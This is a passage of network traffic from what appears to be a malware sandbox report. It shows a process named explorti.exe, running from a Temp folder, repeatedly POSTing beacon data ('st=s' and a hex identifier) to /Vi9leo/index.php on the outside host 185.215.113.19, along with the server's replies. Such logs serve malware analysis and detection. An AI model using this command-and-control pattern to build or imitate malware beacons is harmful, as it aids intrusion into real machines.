Jul 26, 2024 20:57:08.195735931 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:08.197449923 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:08.447170973 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49742	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:08.563178062 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:09.325263977 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:09.329444885 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:09.574621916 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49743	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:09.687731028 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:10.820327044 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:10.821593046 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:10.821752071 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:11.073326111 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49744	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:11.187298059 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:11.996247053 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:11.998744011 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:12.244764090 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49745	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:12.359446049 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:13.129484892 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:13.130716085 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:13.382339001 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49746	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:13.505218983 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:14.272064924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:14.272983074 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:14.522800922 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49747	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:14.643167973 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:15.398758888 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:15.399614096 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:15.646560907 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49748	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:15.765801907 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:16.517934084 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:16.519432068 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:16.768125057 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49749	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:16.876135111 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:17.647362947 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:17.648288965 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:17.897310972 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49750	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:18.031981945 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:18.803183079 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:18.805221081 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:19.052527905 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49751	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:19.173304081 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:19.964478016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:19.966052055 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:21.093306065 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 20:57:21.100799084 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 20:57:21.102647066 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 20:57:21.106126070 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49752	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:21.206692934 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:21.995510101 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:21.996994972 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:22.272706985 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49753	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:22.395454884 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
